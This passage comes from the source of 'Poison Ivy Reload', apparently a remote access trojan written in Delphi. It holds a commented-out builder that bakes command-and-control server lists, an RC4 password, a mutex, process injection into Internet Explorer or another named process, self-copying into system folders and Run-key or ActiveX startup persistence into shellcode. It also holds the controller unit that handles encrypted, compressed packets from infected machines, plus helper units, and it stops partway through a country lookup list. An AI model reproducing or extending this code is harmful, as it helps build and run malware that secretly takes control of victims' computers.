// [FShellData.Size, FShellData.Size]);
// ss.WriteString(temp);
//
// for i := 1 to FShellData.Size do
// begin
//
// if i = FShellData.Size then
// begin
// temp := Format('0x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// temp := temp + #13#10 + ');';
// end else
// begin
// temp := Format('$%.2x, ', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// if (i mod 16) = 0 then
// temp := temp + #13#10#09;
// end;
//
// ss.WriteString(temp);
// end;
//
// ss.SaveToFile(filename);
// except
// on e: Exception do
// begin
// MessageBox(0, PChar(e.Message), 0, 0);
// Result := False;
// end
// end;
// FreeAndNil(ss);
//end;
//
//function TBuilder.SaveToPythonArray(filename: string): Boolean;
//var
// temp: string;
// ss: TStringStream;
// i: Integer;
//begin
// Result := True;
// if FShellCode.Size <> 0 then
// FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);
//
// ss := TStringStream.Create();
// try
// temp := Format(
// '# Generated by Poison Ivy Reload 0.0.1' + #13#10 +
// '# http://www.github.com' + #13#10 +
// '# Length: 0x%.8x (bytes)' + #13#10 +
// 'PIshellcode = \' + #13#10 + '''',
// [FShellData.Size]);
// ss.WriteString(temp);
//
// for i := 1 to FShellData.Size do
// begin
//
// if i = FShellData.Size then
// begin
// temp := Format('\x%.2x''', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// end else
// begin
// temp := Format('\x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// if (i mod 16) = 0 then
// temp := temp + ''' + \'+ #13#10 + '''';
// end;
//
// ss.WriteString(temp);
// end;
//
// ss.SaveToFile(filename);
// except
// on e: Exception do
// begin
// MessageBox(0, PChar(e.Message), 0, 0);
// Result := False;
// end
// end;
// FreeAndNil(ss);
//end;
//
//procedure TBuilder.WriteAnsiString(s: AnsiString);
//var
// tmp: Word;
//begin
// tmp := Length(s) * SizeOf(AnsiChar);
// FShellData.Write(tmp, SizeOf(tmp));
// FShellData.Write(PAnsiChar(s)^, tmp);
//end;
//
//procedure TBuilder.WriteBoolean(b: Boolean);
//var
// byt: Byte;
// tmp: Word;
//begin
// byt := 0;
// if (b) then byt := 1;
// tmp := 1;
// FShellData.Write(tmp, SizeOf(tmp));
// FShellData.Write(byt, SizeOf(byt));
//end;
//
//procedure TBuilder.WriteByte(b: Byte);
//var
// tmp: Word;
//begin
// tmp := 1;
// FShellData.Write(tmp, SizeOf(tmp));
// FShellData.Write(b, SizeOf(b));
//end;
//
//procedure TBuilder.WriteConfigEnd;
//begin
// WriteOffset(0);
//end;
//
//procedure TBuilder.WriteDNSList(s: string);
//var
// sl, sl2: TStringList;
// i: Integer;
// ans: AnsiString;
// port, w: Word;
// ms: TMemoryStream;
//begin
// WriteOffset(get_server_list_offset());
//
// if s <> '' then
// begin
// sl := TStringList.Create;
// sl2 := TStringList.Create;
// ms := TMemoryStream.Create;
// try
// sl.Delimiter := ',';
// sl.DelimitedText := s;
//
// for i := 0 to sl.Count - 1 do
// begin
// sl2.Delimiter := ':';
// sl2.DelimitedText := sl.Strings[i];
//
// ans := sl2.Strings[0];
// port := StrToInt(sl2.Strings[1]);
//
// // write ip
// ms.Write(PAnsiChar(ans)^, Length(ans) + 1);
// // write port
// ms.Write(port, SizeOf(port));
// end;
//
// // write total len
// w := ms.Size;
// FShellData.Write(w, SizeOf(w));
// FShellData.Write(PAnsiChar(ms.Memory)^, ms.Size);
// finally
// FreeAndNil(ms);
// FreeAndNil(sl);
// FreeAndNil(sl2);
// end;
// end;
//end;
//
//procedure TBuilder.WriteID(s: AnsiString);
//begin
// WriteOffset(get_id_offset());
// WriteAnsiString(s);
//end;
//
//procedure TBuilder.WriteInject(inject_to_ie: Boolean; filename: string);
//begin
// FShellCode.Write(PAnsiChar(get_injecter_ptr)^, get_injecter_size);
// FShellCode.Write(PAnsiChar(get_create_ie_process_ptr)^, get_create_ie_process_size);
// if not inject_to_ie then
// begin
// FShellCode.Write(PAnsiChar(get_find_process_by_name_ptr)^, get_find_process_by_name_size);
// end;
//
// if inject_to_ie then
// begin
// WriteOffset(get_inject_to_ie_offset);
// WriteBoolean(True);
// end else
// begin
// WriteOffset(get_inject_to_process_offset);
// WriteBoolean(True);
// WriteOffset(get_inject_process_name_offset);
// WriteWideString(filename);
// end;
//end;
//
//procedure TBuilder.WriteInstallation(copy_to_system: Boolean; filename: string);
//begin
// FShellCode.Write(PAnsiChar(get_copy_self_ptr)^, get_copy_self_size);
//
// WriteOffset(get_copy_method_offset);
// if copy_to_system then
// WriteByte(COPY_METHOD_TO_SYSTEM)
// else
// WriteByte(COPY_METHOD_TO_WINDOWS);
//
// WriteOffset(get_copy_to_offset);
// WriteWideString(filename);
//end;
//
//procedure TBuilder.WriteMutex(s: AnsiString);
//begin
// WriteOffset(get_mutex_name_offset);
// WriteAnsiString(s);
//end;
//
//procedure TBuilder.WriteOffset(w: Word);
//begin
// FShellData.Write(w, SizeOf(w));
//end;
//
//procedure TBuilder.WritePassword(s: AnsiString);
//begin
// WriteOffset(get_rc4_key_offset());
// WriteAnsiString(s);
//end;
//
//procedure TBuilder.WriteSocks5(dns, username, password: AnsiString; port: Word);
//begin
// FShellCode.Write(PAnsiChar(get_connect_server_by_socks5_ptr)^, get_connect_server_by_socks5_size);
//
// // write connect method
// WriteOffset(get_connect_method_offset);
// WriteByte(CONNECT_METHOD_SOCKS5);
//
// // write dns
// WriteOffset(get_socks5_server_offset);
// WriteAnsiString(dns);
//
// // write port
// WriteOffset(get_socks5_port_offset);
// WriteWord(port);
//
// // write username
// if username <> '' then
// begin
// WriteOffset(get_socks5_username_offset);
// WriteAnsiString(username);
// end;
//
// // write password
// if username <> '' then
// begin
// WriteOffset(get_socks5_password_offset);
// WriteAnsiString(password);
// end;
//end;
//
//procedure TBuilder.WriteStartUp(isAcitvex: Boolean; s: string);
//begin
// WriteOffset(get_startup_method_offset);
//
// if isAcitvex then
// begin
// FShellCode.Write(PAnsiChar(get_startup_activex_ptr)^, get_startup_activex_size);
//
// WriteByte(STARTUP_METHOD_ACTIVEX);
// end
// else
// begin
// FShellCode.Write(PAnsiChar(get_startup_current_run_ptr)^, get_startup_current_run_size);
//
// WriteByte(STARTUP_METHOD_CURRENT_RUN);
// end;
//
// WriteOffset(get_startup_name_offset);
// WriteWideString(s);
//end;
//
//procedure TBuilder.WriteWideString(s: WideString);
//var
// tmp: Word;
//begin
// tmp := Length(s) * SizeOf(WideChar);
// FShellData.Write(tmp, SizeOf(tmp));
// FShellData.Write(PWideChar(s)^, tmp);
//end;
//
//procedure TBuilder.WriteWord(w: Word);
//var
// tmp: Word;
//begin
// tmp := SizeOf(w);
// FShellData.Write(tmp, SizeOf(tmp));
// FShellData.Write(w, SizeOf(w));
//end;
end.
================================================
FILE: Client/UnitClientContext.pas
================================================
unit UnitClientContext;
interface
uses
Winapi.Windows, System.SysUtils, System.Classes, System.SyncObjs, diocp_tcp_server, UnitRC4, SimpleMsgPack,
Vcl.ComCtrls, UnitGlobal;
type
TClientMessage = class
cmd: TCOMMAND;
buffer: TMemoryStream;
end;
TClientContext = class(TIocpClientContext)
private
FBuffer: TMemoryStream;
FSendSBox: TRC4_SBOX;
FRecvSBox: TRC4_SBOX;
FSendLock: TCriticalSection;
FIsReceiveBody: Boolean;
FPacketHeader: TPROTO_HEADER;
FThumbnail_Index: Integer;
FImage_Index: Integer;
FOperateForm: Pointer;
protected
procedure DoCleanUp; override;
procedure OnRecvBuffer(buf: Pointer; len: Cardinal; ErrCode: WORD); override;
procedure OnDisconnected; override;
procedure OnConnected; override;
procedure ProcessPacket();
procedure ProcessMsg(var ms: TMemoryStream);
procedure ShrinkBuffer(size: SIZE_T);
procedure AddLog(s: string);
public
constructor Create(); override;
destructor Destroy(); override;
procedure SendCmd(cmd: TCOMMAND; data: Pointer; size: SIZE_T); overload;
procedure SendCmd(cmd: TCOMMAND); overload;
procedure SendPing();
public
property Thumbnail_Index: Integer read FThumbnail_Index write FThumbnail_Index;
property Image_Index: Integer read FImage_Index write FImage_Index;
property OperateForm: Pointer read FOperateForm write FOperateForm;
end;
implementation
uses
FormMain, UnitCompress;
{ TClientContext }
procedure TClientContext.AddLog(s: string);
begin
SendMessage(MainForm.Handle, WM_ADD_STATS, 0, Integer(s));
end;
constructor TClientContext.Create();
begin
inherited Create;
FBuffer := TMemoryStream.Create;
FSendLock := TCriticalSection.Create;
Data := nil;
FOperateForm := nil;
end;
destructor TClientContext.Destroy;
begin
FreeAndNil(FBuffer);
FreeAndNil(FSendLock);
inherited Destroy;
end;
procedure TClientContext.DoCleanUp;
begin
FBuffer.Clear;
Self.Data := nil;
Self.FOperateForm := nil;
inherited DoCleanUp;
end;
procedure TClientContext.OnConnected;
begin
// Ϊصԭÿcreateѳʼkeyдconnect¼
rc4_init(FSendSBox, PByte(PAnsiChar(g_Password)), Length(g_Password));
rc4_init(FRecvSBox, PByte(PAnsiChar(g_Password)), Length(g_Password));
FImage_Index := -1;
FThumbnail_Index := -1;
FIsReceiveBody := False;
g_TotalAttempts := g_TotalAttempts + 1;
SendMessage(MainForm.Handle, WM_CONNECTED, Integer(Self), 0);
end;
procedure TClientContext.OnDisconnected;
begin
SendMessage(MainForm.Handle, WM_DISCONNECTED, Integer(Self), 0);
end;
procedure TClientContext.OnRecvBuffer(buf: Pointer; len: Cardinal;
ErrCode: WORD);
begin
FBuffer.Write(buf, len);
ProcessPacket;
end;
procedure TClientContext.ProcessMsg(var ms: TMemoryStream);
var
client_message: TClientMessage;
begin
// ͳ
g_Recv_UnCompressed := g_Recv_UnCompressed + SizeOf(TPROTO_HEADER);
if (ms <> nil) then g_Recv_UnCompressed := g_Recv_UnCompressed + ms.Size;
client_message := TClientMessage.Create;
client_message.cmd := TCOMMAND(FPacketHeader.cmd);
client_message.buffer := ms;
if (client_message.cmd = CMD_LOGIN_INFO) then
begin
g_TotalConnections := g_TotalConnections + 1;
end;
SendMessage(MainForm.Handle, WM_CLIENT_MESSAGE, Integer(Self), Integer(client_message));
FreeAndNil(client_message);
FreeAndNil(ms);
end;
procedure TClientContext.ProcessPacket();
var
ms: TMemoryStream;
data: Pointer;
begin
while True do
begin
if (not FIsReceiveBody) then
begin
if (FBuffer.Size < SizeOf(TPROTO_HEADER)) then Exit;
FPacketHeader := PPROTO_HEADER(FBuffer.Memory)^;
rc4_crypt(FRecvSBox, @FPacketHeader, SizeOf(FPacketHeader));
if (FPacketHeader.signature <> PACKET_HEADER_SIGNATURE) then
begin
PostWSACloseRequest();
AddLog(Format('bad signature = 0x%X.', [FPacketHeader.signature]));
Exit;
end;
if (FPacketHeader.packet_size = 0) then
begin
ms := nil;
ProcessMsg(ms);
ShrinkBuffer(SizeOf(TPROTO_HEADER));
FIsReceiveBody := False;
end else
FIsReceiveBody := True;
end;
if (FBuffer.Size < FPacketHeader.packet_size + SizeOf(TPROTO_HEADER)) then Exit;
data := Pointer(PAnsiChar(FBuffer.Memory) + SizeOf(TPROTO_HEADER));
rc4_crypt(FRecvSBox, data, FPacketHeader.packet_size);
ms := TMemoryStream.Create;
try
ms.SetSize(FPacketHeader.packet_unpacked_size);
if (FPacketHeader.packet_unpacked_size <> FPacketHeader.packet_size) then
begin
if (not decompress(data, FPacketHeader.packet_size, ms.Memory, FPacketHeader.packet_unpacked_size)) then
begin
PostWSACloseRequest;
AddLog('decompress error');
Exit;
end;
end else
begin
ms.Write(data, FPacketHeader.packet_size);
end;
ShrinkBuffer(FPacketHeader.packet_size + SizeOf(TPROTO_HEADER));
FIsReceiveBody := False;
ms.Seek(0, soBeginning);
ProcessMsg(ms);
finally
FreeAndNil(ms);
end;
end;
end;
procedure TClientContext.SendCmd(cmd: TCOMMAND; data: Pointer; size: SIZE_T);
var
send_buf: TBytes;
buf: Pointer;
ph: PPROTO_HEADER;
compressed_size: DWORD;
begin
// ͳ
g_Sent_UnCompressed := g_Sent_UnCompressed + size + SizeOf(TPROTO_HEADER);
SetLength(send_buf, size + SizeOf(TPROTO_HEADER));
ph := PPROTO_HEADER(send_buf);
buf := Pointer(PByte(send_buf) + SizeOf(TPROTO_HEADER));
ph^.random := Random(GetTickCount());
ph^.signature := PACKET_HEADER_SIGNATURE;
ph^.cmd := uint8(cmd);
ph^.packet_unpacked_size := size;
if (size >= MIN_COMPRESS_DATA_SIZE) then
begin
compressed_size := compress(data, size, buf, size);
end else
begin
compressed_size := size;
CopyMemory(buf, data, size);
end;
ph^.packet_size := compressed_size;
FSendLock.Enter;
rc4_crypt(FSendSBox, Pointer(ph), SizeOf(TPROTO_HEADER));
rc4_crypt(FSendSBox, buf, compressed_size);
PostWSASendRequest(send_buf, SizeOf(TPROTO_HEADER) + compressed_size);
FSendLock.Leave;
end;
procedure TClientContext.SendCmd(cmd: TCOMMAND);
var
ph: TPROTO_HEADER;
begin
// ͳ
g_Sent_UnCompressed := g_Sent_UnCompressed + SizeOf(TPROTO_HEADER);
ZeroMemory(@ph, SizeOf(TPROTO_HEADER));
ph.random := Random(GetTickCount());
ph.signature := PACKET_HEADER_SIGNATURE;
ph.cmd := uint8(cmd);
FSendLock.Enter;
rc4_crypt(FSendSBox, @ph, SizeOf(TPROTO_HEADER));
PostWSASendRequest(@ph, SizeOf(TPROTO_HEADER));
FSendLock.Leave;
end;
procedure TClientContext.SendPing;
var
tick: DWORD;
begin
tick := GetTickCount;
SendCmd(CMD_PING, @tick, SizeOf(tick));
end;
procedure TClientContext.ShrinkBuffer(size: SIZE_T);
begin
if (FBuffer.Size > size) then
begin
CopyMemory(FBuffer.Memory, PAnsiChar(FBuffer.Memory) + size, FBuffer.Size - size);
FBuffer.SetSize(FBuffer.Size - size);
end else
begin
FBuffer.Clear;
end;
end;
end.
================================================
FILE: Client/UnitCommon.pas
================================================
unit UnitCommon;
interface
uses
Winapi.Windows, System.SysUtils, System.StrUtils, System.Types;
function GetAccType(i: Integer): string;
function SizeToStr(Size: int64): string;
function GetVersion(ver: DWORD): string;
function GetOsVersion(v: string): string;
implementation
function GetAccType(i: Integer): string;
begin
if i = 0 then
Result := 'Direct'
else
Result := 'Socks5';
end;
function SizeToStr(Size: int64): string;
const
K = int64(1024);
M = K * K;
G = K * M;
T = K * G;
begin
if size < K then
Result := Format('%d bytes', [size])
else if size < M then
Result := Format('%f KB', [size / K])
else if size < G then
Result := Format('%f MB', [size / M])
else if size < T then
Result := Format('%f GB', [size / G])
else
Result := Format('%f TB', [size / T]);
end;
function GetVersion(ver: DWORD): string;
begin
Result := IntToStr(ver and $f);
Result := IntToStr(ver and $f0 shr 4) + '.' + Result;
Result := IntToStr(ver and $f00 shr 8) + '.' + Result;
end;
function GetOsVersion(v: string): string;
var
strs: TStringDynArray;
begin
Result := 'Unknow';
strs := SplitString(v, '.');
if (Length(strs) <> 4) then Exit;
if (strs[0] = '5') then
begin
if (strs[1] = '0') then
begin
Result := 'Win2000';
end else
if (strs[1] = '1') then
begin
Result := 'WinXP';
end else
if (strs[1] = '2') then
begin
Result := 'Win2003';
end else
begin
Result := 'Unknow ' + strs[0] + '.' + strs[1];
end;
end else
if (strs[0] = '6') then
begin
if (strs[1] = '0') then
begin
Result := 'WinVista'
end else
if (strs[1] = '1') then
begin
Result := 'Win7'
end else
if (strs[1] = '2') then
begin
Result := 'Win8'
end else
if (strs[1] = '3') then
begin
Result := 'Win8.1'
end else
begin
Result := 'Unknow ' + strs[0] + '.' + strs[1];
end;
end else
if (strs[0] = '10') then
begin
Result := 'Win10';
end else
begin
Result := 'WinNT';
end;
Result := Result + ' Build(' + strs[2] + ')';
end;
end.
================================================
FILE: Client/UnitCompress.pas
================================================
{
ʹntdllѹ
ʹCOMPRESSION_ENGINE_MAXIMUMǸѹٶȼֱֱ
}
unit UnitCompress;
interface
uses
Winapi.Windows;
function compress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): DWORD;
function decompress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): Boolean;
implementation
const
COMPRESSION_FORMAT_DEFAULT = $0001;
COMPRESSION_FORMAT_LZNT1 = $0002;
COMPRESSION_ENGINE_MAXIMUM = $0100;
COMPRESSION_ENGINE_STANDARD = $0000;
function RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine: USHORT;
var CompressBufferWorkSpaceSize: ULONG; var CompressFragmentWorkSpaceSize: ULONG): LONG; stdcall;
external 'ntdll.dll' name 'RtlGetCompressionWorkSpaceSize';
function RtlCompressBuffer(CompressionFormatAndEngine: USHORT;
UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;
CompressedBuffer: Pointer; CompressedBufferSize: ULONG; UncompressedChunkSize: ULONG;
var FinalCompressedSize: ULONG; WorkSpace: Pointer): LONG; stdcall;
external 'ntdll.dll' name 'RtlCompressBuffer';
function RtlDecompressBuffer(CompressionFormat: USHORT; UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;
CompressedBuffer: Pointer; CompressedBufferSize: ULONG; var FinalUncompressedSize: ULONG): LONG; stdcall;
external 'ntdll.dll' name 'RtlDecompressBuffer';
function compress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): DWORD;
var
compressWorkSpaceSize, compressFragmentSpaceSize, compressedSize: ULONG;
workmemory: Pointer;
begin
Result := 0;
if (RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,
compressWorkSpaceSize, compressFragmentSpaceSize) < 0) then Exit;
workmemory := GetMemory(compressWorkSpaceSize);
if (RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,
src, src_len, dest, dest_len, 0, compressedSize, workmemory) >= 0) then
begin
Result := compressedSize;
end;
FreeMemory(workmemory);
end;
function decompress(src: Pointer; src_len: DWORD; dest: Pointer; dest_len: DWORD): Boolean;
var
ret: LONG;
final_len: DWORD;
begin
Result := True;
ret := RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD,
dest, dest_len, src, src_len, final_len);
if ((ret < 0) or (final_len <> dest_len)) then Result := False;
end;
end.
================================================
FILE: Client/UnitCountryInfo.pas
================================================
unit UnitCountryInfo;
interface
uses
System.SysUtils;
function GetCountryName(ISO3166CTRYNAME: String = ''; Code: integer = -1): String;
function GetCountryImageIndex(ISO3166CTRYNAME: String): Integer;
implementation
function GetCountryName(ISO3166CTRYNAME: String = ''; Code: integer = -1): String;
begin
ISO3166CTRYNAME := Uppercase(ISO3166CTRYNAME);
Result := 'Unknown';
if (ISO3166CTRYNAME = 'AF') or (Code = 0) then Result := 'Afghanistan' else
if (ISO3166CTRYNAME = 'AX') or (Code = 1) then Result := 'Aland Islands' else
if (ISO3166CTRYNAME = 'AL') or (Code = 2) then Result := 'Albania' else
if (ISO3166CTRYNAME = 'DZ') or (Code = 3) then Result := 'Algeria ' else
if (ISO3166CTRYNAME = 'AS') or (Code = 4) then Result := 'American Samoa' else
if (ISO3166CTRYNAME = 'AD') or (Code = 5) then Result := 'Andorra' else
if (ISO3166CTRYNAME = 'AO') or (Code = 6) then Result := 'Angola' else
if (ISO3166CTRYNAME = 'AI') or (Code = 7) then Result := 'Anguilla' else
if (ISO3166CTRYNAME = 'AQ') or (Code = 8) then Result := 'Antarctica' else
if (ISO3166CTRYNAME = 'AG') or (Code = 9) then Result := 'Antigua And Barbuda' else
if (ISO3166CTRYNAME = 'AR') or (Code = 10) then Result := 'Argentina' else
if (ISO3166CTRYNAME = 'AM') or (Code = 11) then Result := 'Armenia' else
if (ISO3166CTRYNAME = 'AW') or (Code = 12) then Result := 'Aruba' else
if (ISO3166CTRYNAME = 'AU') or (Code = 13) then Result := 'Australia' else
if (ISO3166CTRYNAME = 'AT') or (Code = 14) then Result := 'Austria' else
if (ISO3166CTRYNAME = 'AZ') or (Code = 15) then Result := 'Azerbaijan' else
if (ISO3166CTRYNAME = 'BS') or (Code = 16) then Result := 'Bahamas' else
if (ISO3166CTRYNAME = 'BH') or (Code = 17) then Result := 'Bahrain' else
if (ISO3166CTRYNAME = 'BD') or (Code = 18) then Result := 'Bangladesh' else
if (ISO3166CTRYNAME = 'BB') or (Code = 19) then Result := 'Barbados' else
if (ISO3166CTRYNAME = 'BY') or (Code = 20) then Result := 'Belarus' else
if (ISO3166CTRYNAME = 'BE') or (Code = 21) then Result := 'Belgium' else
if (ISO3166CTRYNAME = 'BZ') or (Code = 22) then Result := 'Belize' else
if (ISO3166CTRYNAME = 'BJ') or (Code = 23) then Result := 'Benin' else
if (ISO3166CTRYNAME = 'BM') or (Code = 24) then Result := 'Bermuda' else
if (ISO3166CTRYNAME = 'BT') or (Code = 25) then Result := 'Bhutan' else
if (ISO3166CTRYNAME = 'IO') or (Code = 26) then Result := 'British Indian Ocean Territory' else
if (ISO3166CTRYNAME = 'BO') or (Code = 27) then Result := 'Bolivia, Plurinational State Of' else
if (ISO3166CTRYNAME = 'BQ') or (Code = 28) then Result := 'Bonaire, Saint Eustatius And Saba' else
if (ISO3166CTRYNAME = 'BA') or (Code = 29) then Result := 'Bosnia And Herzegovina' else
if (ISO3166CTRYNAME = 'BW') or (Code = 30) then Result := 'Botswana' else
if (ISO3166CTRYNAME = 'BV') or (Code = 31) then Result := 'Bouvet Island' else
if (ISO3166CTRYNAME = 'BR') or (Code = 32) then Result := 'Brazil' else
if (ISO3166CTRYNAME = 'BN') or (Code = 33) then Result := 'Brunei Darussalam' else
if (ISO3166CTRYNAME = 'BG') or (Code = 34) then Result := 'Bulgaria' else
if (ISO3166CTRYNAME = 'BF') or (Code = 35) then Result := 'Burkina Faso' else
if (ISO3166CTRYNAME = 'BI') or (Code = 36) then Result := 'Burundi' else
if (ISO3166CTRYNAME = 'KH') or (Code = 37) then Result := 'Cambodia' else
if (ISO3166CTRYNAME = 'CM') or (Code = 38) then Result := 'Cameroon' else
if (ISO3166CTRYNAME = 'CA') or (Code = 39) then Result := 'Canada' else
if (ISO3166CTRYNAME = 'CV') or (Code = 40) then Result := 'Cape Verde' else
if (ISO3166CTRYNAME = 'KY') or (Code = 41) then Result := 'Cayman Islands' else
if (ISO3166CTRYNAME = 'CF') or (Code = 42) then Result := 'Central African Republic' else
if (ISO3166CTRYNAME = 'TD') or (Code = 43) then Result := 'Chad' else
if (ISO3166CTRYNAME = 'CL') or (Code = 44) then Result := 'Chile' else
if (ISO3166CTRYNAME = 'CN') or (Code = 45) then Result := 'China' else
if (ISO3166CTRYNAME = 'CX') or (Code = 46) then Result := 'Christmas Island' else
if (ISO3166CTRYNAME = 'CC') or (Code = 47) then Result := 'Cocos (Keeling) Islands' else
if (ISO3166CTRYNAME = 'CO') or (Code = 48) then Result := 'Colombia' else
if (ISO3166CTRYNAME = 'KM') or (Code = 49) then Result := 'Comoros' else
if (ISO3166CTRYNAME = 'CG') or (Code = 50) then Result := 'Congo' else
if (ISO3166CTRYNAME = 'CD') or (Code = 51) then Result := 'Congo, The Democratic Republic Of The' else
if (ISO3166CTRYNAME = 'CK') or (Code = 52) then Result := 'Cook Islands' else
if (ISO3166CTRYNAME = 'CR') or (Code = 53) then Result := 'Costa Rica' else
if (ISO3166CTRYNAME = 'HR') or (Code = 54) then Result := 'Croatia' else
if (ISO3166CTRYNAME = 'CU') or (Code = 55) then Result := 'Cuba' else
if (ISO3166CTRYNAME = 'CY') or (Code = 56) then Result := 'Cyprus' else
if (ISO3166CTRYNAME = 'CZ') or (Code = 57) then Result := 'Czech Republic' else
if (ISO3166CTRYNAME = 'DK') or (Code = 58) then Result := 'Denmark' else
if (ISO3166CTRYNAME = 'DJ') or (Code = 59) then Result := 'Djibouti' else
if (ISO3166CTRYNAME = 'DM') or (Code = 60) then Result := 'Dominica' else
if (ISO3166CTRYNAME = 'DO') or (Code = 61) then Result := 'Dominican Republic' else
if (ISO3166CTRYNAME = 'EC') or (Code = 62) then Result := 'Ecuador' else
if (ISO3166CTRYNAME = 'EG') or (Code = 63) then Result := 'Egypt' else
if (ISO3166CTRYNAME = 'SV') or (Code = 64) then Result := 'El Salvador' else
if (ISO3166CTRYNAME = 'GQ') or (Code = 65) then Result := 'Equatorial Guinea' else
if (ISO3166CTRYNAME = 'ER') or (Code = 66) then Result := 'Eritrea' else
if (ISO3166CTRYNAME = 'EE') or (Code = 67) then Result := 'Estonia' else
if (ISO3166CTRYNAME = 'ET') or (Code = 68) then Result := 'Ethiopia' else
if (ISO3166CTRYNAME = 'FK') or (Code = 69) then Result := 'Falkland Islands (Malvinas)' else
if (ISO3166CTRYNAME = 'FO') or (Code = 70) then Result := 'Faroe Islands' else
if (ISO3166CTRYNAME = 'FJ') or (Code = 71) then Result := 'Fiji' else
if (ISO3166CTRYNAME = 'FI') or (Code = 72) then Result := 'Finland' else
if (ISO3166CTRYNAME = 'FR') or (Code = 73) then Result := 'France' else
if (ISO3166CTRYNAME = 'PF') or (Code = 74) then Result := 'French Polynesia' else
if (ISO3166CTRYNAME = 'TF') or (Code = 75) then Result := 'French Southern Territories' else
if (ISO3166CTRYNAME = 'GA') or (Code = 76) then Result := 'Gabon' else
if (ISO3166CTRYNAME = 'GM') or (Code = 77) then Result := 'Gambia' else
if (ISO3166CTRYNAME = 'GE') or (Code = 78) then Result := 'Georgia' else
if (ISO3166CTRYNAME = 'DE') or (Code = 79) then Result := 'Germany' else
if (ISO3166CTRYNAME = 'GH') or (Code = 80) then Result := 'Ghana' else
if (ISO3166CTRYNAME = 'GI') or (Code = 81) then Result := 'Gibraltar' else
if (ISO3166CTRYNAME = 'GR') or (Code = 82) then Result := 'Greece' else
if (ISO3166CTRYNAME = 'GL') or (Code = 83) then Result := 'Greenland' else
if (ISO3166CTRYNAME = 'GD') or (Code = 84) then Result := 'Grenada' else
if (ISO3166CTRYNAME = 'GP') or (Code = 85) then Result := 'Guadeloupe' else
if (ISO3166CTRYNAME = 'GU') or (Code = 86) then Result := 'Guam' else
if (ISO3166CTRYNAME = 'GT') or (Code = 87) then Result := 'Guatemala' else
if (ISO3166CTRYNAME = 'GG') or (Code = 88) then Result := 'Guernsey' else
if (ISO3166CTRYNAME = 'GN') or (Code = 89) then Result := 'Guinea' else
if (ISO3166CTRYNAME = 'GW') or (Code = 90) then Result := 'Guinea-Bissau' else
if (ISO3166CTRYNAME = 'GY') or (Code = 91) then Result := 'Guyana' else
if (ISO3166CTRYNAME = 'HT') or (Code = 92) then Result := 'Haiti' else
if (ISO3166CTRYNAME = 'VA') or (Code = 93) then Result := 'Holy See (Vatican City State)' else
if (ISO3166CTRYNAME = 'HN') or (Code = 94) then Result := 'Honduras' else
if (ISO3166CTRYNAME = 'HK') or (Code = 95) then Result := 'Hong Kong' else
if (ISO3166CTRYNAME = 'HU') or (Code = 96) then Result := 'Hungary' else
if (ISO3166CTRYNAME = 'IS') or (Code = 97) then Result := 'Iceland' else
if (ISO3166CTRYNAME = 'IN') or (Code = 98) then Result := 'India' else
if (ISO3166CTRYNAME = 'ID') or (Code = 99) then Result := 'Indonesia' else
if (ISO3166CTRYNAME = 'IR') or (Code = 100) then Result := 'Iran, Islamic Republic Of' else
if (ISO3166CTRYNAME = 'IQ') or (Code = 101) then Result := 'Iraq' else
if (ISO3166CTRYNAME = 'IE') or (Code = 102) then Result := 'Ireland' else
if (ISO3166CTRYNAME = 'IM') or (Code = 103) then Result := 'Isle Of Man' else
if (ISO3166CTRYNAME = 'IL') or (Code = 104) then Result := 'Israel' else
if (ISO3166CTRYNAME = 'IT') or (Code = 105) then Result := 'Italy' else
if (ISO3166CTRYNAME = 'CI') or (Code = 106) then Result := 'Cote D' + '''' + 'ivoire' else
if (ISO3166CTRYNAME = 'JM') or (Code = 107) then Result := 'Jamaica' else
if (ISO3166CTRYNAME = 'JP') or (Code = 108) then Result := 'Japan' else
if (ISO3166CTRYNAME = 'JE') or (Code = 109) then Result := 'Jersey' else
if (ISO3166CTRYNAME = 'JO') or (Code = 110) then Result := 'Jordan' else
if (ISO3166CTRYNAME = 'KZ') or (Code = 111) then Result := 'Kazakhstan' else
if (ISO3166CTRYNAME = 'KE') or (Code = 112) then Result := 'Kenya' else
if (ISO3166CTRYNAME = 'KI') or (Code = 113) then Result := 'Kiribati' else
if (ISO3166CTRYNAME = 'KR') or (Code = 114) then Result := 'Korea, Republic Of' else
if (ISO3166CTRYNAME = 'KW') or (Code = 115) then Result := 'Kuwait' else
if (ISO3166CTRYNAME = 'KG') or (Code = 116) then Result := 'Kyrgyzstan' else
if (ISO3166CTRYNAME = 'LA') or (Code = 117) then Result := 'Lao People' + '''' + 's Democratic Republic' else
if (ISO3166CTRYNAME = 'LV') or (Code = 118) then Result := 'Latvia' else
if (ISO3166CTRYNAME = 'LB') or (Code = 119) then Result := 'Lebanon' else
if (ISO3166CTRYNAME = 'LS') or (Code = 120) then Result := 'Lesotho' else
if (ISO3166CTRYNAME = 'LR') or (Code = 121) then Result := 'Liberia' else
if (ISO3166CTRYNAME = 'LY') or (Code = 122) then Result := 'Libyan Arab Jamahiriya' else
if (ISO3166CTRYNAME = 'LI') or (Code = 123) then Result := 'Liechtenstein' else
if (ISO3166CTRYNAME = 'LT') or (Code = 124) then Result := 'Lithuania' else
if (ISO3166CTRYNAME = 'LU') or (Code = 125) then Result := 'Luxembourg' else
if (ISO3166CTRYNAME = 'MO') or (Code = 126) then Result := 'Macao' else
if (ISO3166CTRYNAME = 'MK') or (Code = 127) then Result := 'Macedonia, The Former Yugoslav Republic Of' else
if (ISO3166CTRYNAME = 'MG') or (Code = 128) then Result := 'Madagascar' else
if (ISO3166CTRYNAME = 'MW') or (Code = 129) then Result := 'Malawi' else
if (ISO3166CTRYNAME = 'MY') or (Code = 130) then Result := 'Malaysia' else
